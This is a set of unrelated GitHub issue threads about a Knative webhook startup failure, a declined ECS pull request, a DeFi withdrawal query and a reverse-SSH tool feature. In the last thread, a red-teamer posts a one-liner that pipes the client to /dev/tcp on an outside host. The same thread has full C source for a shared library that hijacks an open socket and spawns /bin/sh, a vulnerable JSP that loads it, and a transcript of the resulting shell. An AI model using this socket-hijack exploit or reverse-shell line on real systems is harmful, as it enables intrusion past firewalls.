{"level":"info","ts":"2020-10-05T18:59:37.180Z","logger":"webhook.config-store","caller":"configmap/store.go:154","msg":"apis config \"config-features\" config was added or updated: &config.Features{MultiContainer:\"Enabled\", PodSpecAffinity:\"Disabled\", PodSpecDryRun:\"Allowed\", PodSpecFieldRef:\"Disabled\", PodSpecNodeSelector:\"Disabled\", PodSpecRuntimeClassName:\"Disabled\", PodSpecSecurityContext:\"Disabled\", PodSpecTolerations:\"Disabled\", ResponsiveRevisionGC:\"Allowed\", TagHeaderBasedRouting:\"Disabled\"}","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.180Z","logger":"webhook","caller":"metrics/exporter.go:155","msg":"Flushing the existing exporter before setting up the new exporter.","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.180Z","logger":"webhook","caller":"metrics/prometheus_exporter.go:50","msg":"Created Opencensus Prometheus exporter with config: &{knative.dev/serving webhook prometheus<PHONE_NUMBER> <nil> <nil>  false 9090 false   {   false}}. Start the server for Prometheus exporter.","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.180Z","logger":"webhook","caller":"metrics/exporter.go:168","msg":"Successfully updated the metrics exporter; old config: <nil>; new config &{knative.dev/serving webhook prometheus<PHONE_NUMBER> <nil> <nil>  false 9090 false   {   false}}","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.219Z","logger":"webhook","caller":"webhook/webhook.go:169","msg":"Informers have been synced, unblocking admission webhooks.","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.219Z","logger":"webhook","caller":"sharedmain/main.go:286","msg":"Starting controllers...","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.219Z","logger":"webhook","caller":"leaderelection/context.go:138","msg":"webhook.conversionwebhook.00-of-01 will run in leader-elected mode with id \"webhook-785c5879fb-4wwdt_ea7d9e9d-43ef-4cd6-8352-7e95e8d7be75\"","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.219Z","logger":"webhook.ConversionWebhook","caller":"controller/controller.go:446","msg":"Starting controller and workers","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.219Z","logger":"webhook.ConversionWebhook","caller":"controller/controller.go:456","msg":"Started workers","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook.ConversionWebhook","caller":"controller/controller.go:522","msg":"Reconcile succeeded. Time taken: 16.831µs","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt","knative.dev/traceid":"2a8b2ca1-21e5-4052-a52a-34d28ca180ae","knative.dev/key":"revisions.serving.knative.dev"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook.ConversionWebhook","caller":"controller/controller.go:522","msg":"Reconcile succeeded. Time taken: 8.802µs","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt","knative.dev/traceid":"6282f6b2-20fb-4ae6-b69a-591492362424","knative.dev/key":"routes.serving.knative.dev"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook.ConversionWebhook","caller":"controller/controller.go:522","msg":"Reconcile succeeded. Time taken: 13.556µs","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt","knative.dev/traceid":"b11ed9f3-76ee-49be-901c-a4645bfc2c23","knative.dev/key":"services.serving.knative.dev"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook.ConversionWebhook","caller":"controller/controller.go:522","msg":"Reconcile succeeded. Time taken: 8.767µs","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt","knative.dev/traceid":"35c76d5a-50fe-446a-b7a6-3515a762898f","knative.dev/key":"configurations.serving.knative.dev"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook","caller":"leaderelection/context.go:138","msg":"webhook.webhookcertificates.00-of-01 will run in leader-elected mode with id \"webhook-785c5879fb-4wwdt_a3324f62-fc4f-4b66-b4ca-c872ac3bba29\"","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook.WebhookCertificates","caller":"controller/controller.go:446","msg":"Starting controller and workers","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook.WebhookCertificates","caller":"controller/controller.go:456","msg":"Started workers","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook.WebhookCertificates","caller":"controller/controller.go:522","msg":"Reconcile succeeded. Time taken: 10.27µs","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt","knative.dev/traceid":"13c6276e-3a11-44c0-aedd-a1cd20f4bd0e","knative.dev/key":"knative-serving/webhook-certs"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook","caller":"leaderelection/context.go:138","msg":"webhook.defaultingwebhook.00-of-01 will run in leader-elected mode with id \"webhook-785c5879fb-4wwdt_fcad28e9-c8d0-4e01-98ff-90603b637576\"","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook.DefaultingWebhook","caller":"controller/controller.go:446","msg":"Starting controller and workers","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook.DefaultingWebhook","caller":"controller/controller.go:456","msg":"Started workers","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook.DefaultingWebhook","caller":"controller/controller.go:522","msg":"Reconcile succeeded. Time taken: 10.14µs","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt","knative.dev/traceid":"5e5b769e-ca9c-402d-8f0b-fc86cc44c9ae","knative.dev/key":"webhook.serving.knative.dev"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook.DefaultingWebhook","caller":"controller/controller.go:522","msg":"Reconcile succeeded. Time taken: 8.59µs","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt","knative.dev/traceid":"816f54f5-3924-4377-97d6-f60ba4785d81","knative.dev/key":"knative-serving/webhook-certs"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook","caller":"leaderelection/context.go:138","msg":"webhook.validationwebhook.00-of-01 will run in leader-elected mode with id \"webhook-785c5879fb-4wwdt_5eee2ea3-6534-4b5d-a901-ffccfee0b24c\"","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook.ValidationWebhook","caller":"controller/controller.go:446","msg":"Starting controller and workers","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook.ValidationWebhook","caller":"controller/controller.go:456","msg":"Started workers","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook.ValidationWebhook","caller":"controller/controller.go:522","msg":"Reconcile succeeded. Time taken: 11.496µs","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt","knative.dev/traceid":"f96ade7a-8edc-4cbf-9344-18f5511e825b","knative.dev/key":"validation.webhook.serving.knative.dev"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook.ValidationWebhook","caller":"controller/controller.go:522","msg":"Reconcile succeeded. Time taken: 8.56µs","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt","knative.dev/traceid":"747325fd-0e5c-4b0c-a649-352f47f3ffb9","knative.dev/key":"knative-serving/webhook-certs"}
{"level":"info","ts":"2020-10-05T18:59:37.220Z","logger":"webhook","caller":"leaderelection/context.go:138","msg":"webhook.configmapwebhook.00-of-01 will run in leader-elected mode with id \"webhook-785c5879fb-4wwdt_a712f753-bec4-41c6-8817-6ce413544b89\"","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.221Z","logger":"webhook.ConfigMapWebhook","caller":"controller/controller.go:446","msg":"Starting controller and workers","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.221Z","logger":"webhook.ConfigMapWebhook","caller":"controller/controller.go:456","msg":"Started workers","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:37.221Z","logger":"webhook.ConfigMapWebhook","caller":"controller/controller.go:522","msg":"Reconcile succeeded. Time taken: 10.065µs","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt","knative.dev/traceid":"1f7251ef-2017-4f52-ae04-72b8d2391341","knative.dev/key":"config.webhook.serving.knative.dev"}
{"level":"info","ts":"2020-10-05T18:59:37.221Z","logger":"webhook.ConfigMapWebhook","caller":"controller/controller.go:522","msg":"Reconcile succeeded. Time taken: 12.554µs","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt","knative.dev/traceid":"2d690491-c507-4f30-a3ba-39e60fac6a6a","knative.dev/key":"knative-serving/webhook-certs"}
I1005 18:59:37.221239       1 leaderelection.go:242] attempting to acquire leader lease  knative-serving/webhook.conversionwebhook.00-of-01...
I1005 18:59:37.221590       1 leaderelection.go:242] attempting to acquire leader lease  knative-serving/webhook.webhookcertificates.00-of-01...
I1005 18:59:37.221768       1 leaderelection.go:242] attempting to acquire leader lease  knative-serving/webhook.defaultingwebhook.00-of-01...
I1005 18:59:37.222035       1 leaderelection.go:242] attempting to acquire leader lease  knative-serving/webhook.validationwebhook.00-of-01...
I1005 18:59:37.222189       1 leaderelection.go:242] attempting to acquire leader lease  knative-serving/webhook.configmapwebhook.00-of-01...
{"level":"info","ts":"2020-10-05T18:59:37.228Z","logger":"webhook.ConversionWebhook","caller":"controller/controller.go:522","msg":"Reconcile succeeded. Time taken: 33.933µs","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt","knative.dev/traceid":"6555102c-870e-47b5-8130-d8ccfae9b9f5","knative.dev/key":"revisions.serving.knative.dev"}
{"level":"info","ts":"2020-10-05T18:59:37.229Z","logger":"webhook.ConversionWebhook","caller":"controller/controller.go:522","msg":"Reconcile succeeded. Time taken: 18.091µs","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt","knative.dev/traceid":"830fc924-964a-4eee-8e8f-4781295ddfa7","knative.dev/key":"services.serving.knative.dev"}
{"level":"info","ts":"2020-10-05T18:59:37.229Z","logger":"webhook.ConversionWebhook","caller":"controller/controller.go:522","msg":"Reconcile succeeded. Time taken: 12.36µs","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt","knative.dev/traceid":"5efb18ed-220b-4b10-a36d-03b87a035826","knative.dev/key":"routes.serving.knative.dev"}
{"level":"info","ts":"2020-10-05T18:59:37.229Z","logger":"webhook.ConversionWebhook","caller":"controller/controller.go:522","msg":"Reconcile succeeded. Time taken: 16.651µs","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt","knative.dev/traceid":"45c1e565-fd45-4484-b89a-165664330597","knative.dev/key":"configurations.serving.knative.dev"}
2020/10/05 18:59:37 http: TLS handshake error from <IP_ADDRESS>:35027: server key missing
2020/10/05 18:59:37 http: TLS handshake error from <IP_ADDRESS>:35029: server key missing
2020/10/05 18:59:38 http: TLS handshake error from <IP_ADDRESS>:35035: server key missing
2020/10/05 18:59:38 http: TLS handshake error from <IP_ADDRESS>:35037: server key missing
2020/10/05 18:59:39 http: TLS handshake error from <IP_ADDRESS>:35075: server key missing
2020/10/05 18:59:39 http: TLS handshake error from <IP_ADDRESS>:35077: server key missing
2020/10/05 18:59:40 http: TLS handshake error from <IP_ADDRESS>:35087: server key missing
2020/10/05 18:59:40 http: TLS handshake error from <IP_ADDRESS>:35089: server key missing
2020/10/05 18:59:41 http: TLS handshake error from <IP_ADDRESS>:35099: server key missing
2020/10/05 18:59:41 http: TLS handshake error from <IP_ADDRESS>:35101: server key missing
2020/10/05 18:59:42 http: TLS handshake error from <IP_ADDRESS>:35111: server key missing
2020/10/05 18:59:42 http: TLS handshake error from <IP_ADDRESS>:35113: server key missing
{"level":"info","ts":"2020-10-05T18:59:42.635Z","logger":"webhook","caller":"leaderelection/context.go:156","msg":"\"webhook-785c5879fb-4wwdt_a712f753-bec4-41c6-8817-6ce413544b89\" has stopped leading \"webhook.configmapwebhook.00-of-01\"","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:42.635Z","logger":"webhook","caller":"leaderelection/context.go:156","msg":"\"webhook-785c5879fb-4wwdt_5eee2ea3-6534-4b5d-a901-ffccfee0b24c\" has stopped leading \"webhook.validationwebhook.00-of-01\"","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:42.635Z","logger":"webhook","caller":"leaderelection/context.go:156","msg":"\"webhook-785c5879fb-4wwdt_fcad28e9-c8d0-4e01-98ff-90603b637576\" has stopped leading \"webhook.defaultingwebhook.00-of-01\"","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:42.635Z","logger":"webhook","caller":"leaderelection/context.go:156","msg":"\"webhook-785c5879fb-4wwdt_a3324f62-fc4f-4b66-b4ca-c872ac3bba29\" has stopped leading \"webhook.webhookcertificates.00-of-01\"","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:42.635Z","logger":"webhook","caller":"leaderelection/context.go:156","msg":"\"webhook-785c5879fb-4wwdt_ea7d9e9d-43ef-4cd6-8352-7e95e8d7be75\" has stopped leading \"webhook.conversionwebhook.00-of-01\"","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:42.635Z","logger":"webhook.ConfigMapWebhook","caller":"controller/controller.go:458","msg":"Shutting down workers","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:42.635Z","logger":"webhook.ValidationWebhook","caller":"controller/controller.go:458","msg":"Shutting down workers","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:42.635Z","logger":"webhook.DefaultingWebhook","caller":"controller/controller.go:458","msg":"Shutting down workers","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:42.635Z","logger":"webhook.WebhookCertificates","caller":"controller/controller.go:458","msg":"Shutting down workers","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:42.635Z","logger":"webhook","caller":"webhook/webhook.go:226","msg":"Starting to fail readiness probes...","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
{"level":"info","ts":"2020-10-05T18:59:42.635Z","logger":"webhook.ConversionWebhook","caller":"controller/controller.go:458","msg":"Shutting down workers","commit":"0a890ef","knative.dev/pod":"webhook-785c5879fb-4wwdt"}
2020/10/05 18:59:43 http: TLS handshake error from <IP_ADDRESS>:35123: server key missing
2020/10/05 18:59:44 http: TLS handshake error from <IP_ADDRESS>:35135: server key missing
2020/10/05 18:59:45 http: TLS handshake error from <IP_ADDRESS>:35145: server key missing
2020/10/05 18:59:46 http: TLS handshake error from <IP_ADDRESS>:35153: server key missing
2020/10/05 18:59:47 http: TLS handshake error from <IP_ADDRESS>:35161: server key missing
2020/10/05 18:59:48 http: TLS handshake error from <IP_ADDRESS>:35171: server key missing

I am not sure the reason why this happened.

Got this problem after updating from 0.17 to 0.18. A clean installation ( deleted the namespace knative-serving) fixed the problem.

I just ran into this. No matter how many times I restarted the webhook Pod, it wouldn't become Ready.
I noticed that my webhook-certs wasn't populated:
$ kubectl -n knative-serving get secret webhook-certs
NAME            TYPE     DATA   AGE
webhook-certs   Opaque   0      15m

I ended up increasing the initial delay of the liveness probe as in https://github.com/knative/serving/pull/9661, and eventually my certs got generated:
$ kubectl -n knative-serving get secret webhook-certs
NAME            TYPE     DATA   AGE
webhook-certs   Opaque   3      19m

Now the webhook is up:
$ kubectl -n knative-serving get pod webhook-6ccdbb7959-tkt5v
NAME                       READY   STATUS    RESTARTS   AGE
webhook-6ccdbb7959-tkt5v   1/1     Running   0          7m24s

According to your comment on the 4876 eventing ticket, @maschmid, can we than close this?

I think so, the "initialDelaySeconds: 20" was added to serving webhook in 0.19
https://github.com/knative/operator/blob/release-0.19/cmd/operator/kodata/knative-serving/0.19.0/2-serving-core.yaml#L2683

/close


ECS: Support for multiple AWS regions

This is to address (closed) #7197.
@kevinpollet I understand that you might not want to merge this, but this change is quite lightweight and it breaks nothing. I created this PR in case someone else needs this functionality.

Hello,
Kevin's answer was the result of a team consultation.
The reasons given remain valid: the use case is a borderline case that is not recommended.
Moreover, this change is breakable at the configuration level.
Anyway, thank you for your work.


Reward Scream Withdraw problem

Hello i tried to withdraw my reward token but did not recover them
this is tx :
1 ) https://ftmscan.com/tx/0xc98c5905cf4ba6c6dfd8d1915f5b36de21c4acf520036b14537645777fc6b045
2 ) https://ftmscan.com/tx/0x331e39de6b57962d999028192ac754c788bff2d0c3b4d86a3fc1f3db5d068f4a
3 ) https://ftmscan.com/tx/0x983fd0bd15bf3f5484ae55c5279794380000bb02c41e5147bd03d78787fff93d
Thank for providing information on this withdraws

After 5 days the same https://ftmscan.com/tx/0x9352dea4ba21e24e507ecc7ef28e70bef84265d821a63a20aac747f546fa3240 withdrawal successful thx for response

After 5 days the same https://ftmscan.com/tx/0x9352dea4ba21e24e507ecc7ef28e70bef84265d821a63a20aac747f546fa3240 withdrawal successful thx for response


Add inetd mode to client

Hello, first thanks for this tool it helps a lot during redteaming.
Is it possible to add inetd mode ( simulate a net.Conn with os.Stdin ) on client ?
ncat <IP_ADDRESS> -e "./client -inetd"

Hi there!
Awesome to hear that you're using reverse ssh to do red teaming!
I am a bit unfamiliar with inetd (and Im assuming when you say os.Stdin you also mean using os.Stdout as well :P) could you give me just a brief "why this is useful" sort of thing?

Yes ! stdin and stdout that act like connected socket.
For example in a vulnerability you want to reuse a socket ( because the FD_CLOEXEC is not set  ) and want to make an execve of rssh's client with :
dup2(socket,stdin);
dup2(socket,stdout);
dup2(socket,stderr);
char *const argv[] = {"./client", "-inetd", NULL};
execve("./client", argv, NULL );

or directly via bash for example
./client -inetd  >& /dev/tcp/<IP_ADDRESS>/1337 0>&1

I think it's a minor change that could be useful
I'm actually learning go, i'm not familiar with this language but i already used this chunk of code for another project ( found on some gist on github ) maybe it could help

type StdioListener bool
type StdioConn bool

var stategen = make(chan bool)

func (sl *StdioListener) Addr() net.Addr {
	return &net.IPAddr{net.IPv4(0, 0, 0, 0), ""}
}

// Conn impl

func (sl *StdioConn) Read(b []byte) (int, error) {
	return os.Stdin.Read(b)
}

func (sl *StdioConn) Write(b []byte) (int, error) {
	return os.Stdout.Write(b)
}

func (sl *StdioConn) LocalAddr() net.Addr {
	return &net.IPAddr{net.IPv4(0, 0, 0, 0), ""}
}

func (sl *StdioConn) RemoteAddr() net.Addr {
	return sl.LocalAddr()
}

func (sl *StdioConn) SetDeadline(t time.Time) error {
	return nil
}

func (sl *StdioConn) SetReadDeadline(t time.Time) error {
	return nil
}

func (sl *StdioConn) SetWriteDeadline(t time.Time) error {
	return nil
}

func (sl *StdioConn) Close() error {
	stategen <- false
	return nil
}

// conn := new(StdioConn)

Wai that's sick, can you expand a bit on how you'd reuse an open fd for this?
I'll definitely add it, but what accommodations do you need on the server then, as its kind of up to you to write the pipe or however you're getting the network stream out

Sure, for example from a java deserialization or jsp upload you can abuse System.load to hijack a socket and reuse it :
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define MAGIC "hello"
void reuse(unsigned int fd);

/**

gcc -fPIC lib.c -shared -o /tmp/lib.so
Very simple firewall bypass using /bin/sh for reuse but it'd be better with rssh ;-)
/!\ don't use this as is you need to manage fd blocking mode
**/

__attribute__((constructor)) int hijacksocket(){
    int ret=-1;
    char buf[1024];
    for (unsigned int i=0;i<512;i++){
        struct sockaddr_in address;
        socklen_t address_len = sizeof(struct sockaddr);
        if (( ret = getpeername(i, (struct sockaddr *)&address,&address_len)) == 0 ){
            if (address_len > sizeof(struct sockaddr)){

                int b = fcntl(i, F_GETFL, 0);
                fcntl(i, F_SETFL, b & ~O_NONBLOCK);

                memset(buf,0,1024);
                ret = send(i,MAGIC,strlen(MAGIC),0);
                ret = recv( i, &buf, strlen(MAGIC),0 );
                if (memcmp(buf,MAGIC,strlen(MAGIC)) == 0){
                    reuse(i);
                }
                return 0;
            }
        }
    }
    return -1;
}

void reuse(unsigned int sock){
    char *argv[] =  {"sh","-i",NULL};
    pid_t child = fork();
    int status;
    if (child == 0){
        setsid();
        pid_t child2 = fork();
        if(child2 == 0){
            for (int i=0;i<1024;i++)
                if (i != sock)
                    close(i);
            dup2(sock,0);
            dup2(sock,1);
            dup2(sock,2);
            execve("/bin/sh",argv,NULL);
        }else{
            close(sock);
            waitpid(child2, &status, WNOHANG);
            exit(0);
        }
    }else{
        close(sock);
        waitpid(child, &status, WNOHANG);
        return;
    }
    return;
}

a vuln jsp :
$ cat apache-tomcat-9.0.84/webapps/ROOT/vuln.jsp
<%
try{
    System.load("/tmp/lib.so");
    out.println("load ok");
}catch(Exception e){
    out.println(e);
}
%>

and then the reuse itself
$ telnet <IP_ADDRESS> 8080
Trying <IP_ADDRESS>...
Connected to <IP_ADDRESS>.
Escape character is '^]'.
GET /vuln.jsp HTTP/1.1
Host: localhost

hellohello
sh: cannot set terminal process group (281719): Inappropriate ioctl for device
sh: no job control in this shell
sh-5.2$
sh-5.2$
sh-5.2$ id
id
uid=1000(user) gid=1000(user) groups=1000(user),955(lxd),968(libvirt-qemu),969(libvirt),970(docker),998(wheel)
sh-5.2$
sh-5.2$

I'll definitely add it, but what accommodations do you need on the server then, as its kind of up to you to write the pipe or however you're getting the network stream out

For the server i think it isn't necessary, between the tool that poll rssh and the server socket side i think an epoll/select will do the work.
For testing we could use socat as tool.

Gotta say that is pretty cool, a few months ago we could have really used a poc for socket reuse haha!
Just as a side note, RSSH will not function over a non-order/tcp streams just as an FYI.

This now exists on unstable. Feel free to give it a shot!

You can switch to unstable in the docker container by doing this:
docker exec -it <container id> /bin/bash
Then in the rssh repo in the docker container:
git pull
git checkout unstable

As the server wont be upgraded you wont see the options I've chucked up there to make things easier (namely --stdio) but you can still build new stdio enabled clients by doing link -s stdio://anything

Thanks ! it works well.
Yet i have a bug if I lose the socket attached to the stdout of client, it stills try to use it :
[pid 3243071] write(2, "2023/12/22 10:27:27 Unable to start a new client connection: ssh: handshake failed: write /dev/stdout: file already closed\n", 123 <unfinished ...>

Regards and again thanks a lot for this addition

Hmmmm, not really sure how to fix that on the rssh side of things.
Rssh should just try and reopen the studio file handles as it will get kicked back into it's reconnect loop.
But if you've replaced those fds to start with there isn't really a way to inform rssh it should be using something else.
I can always just make the program exit if stdout/stdin is closed, thoughts?

Hmmmm, not really sure how to fix that on the rssh side of things.
Rssh should just try and reopen the studio file handles as it will get kicked back into it's reconnect loop.
But if you've replaced those fds to start with there isn't really a way to inform rssh it should be using something else.

I think rssh couldn't be aware of the socket status attached to his own file descriptors.
The only information it could have is that writing to stdout and reading from stdin is impossible due to the socket closed status on other side.

I can always just make the program exit if stdout/stdin is closed, thoughts?

Yes i think we could just exit if rssh detects that stdout is closed.

Yep sweet, it'll now die on stdio handle disconnection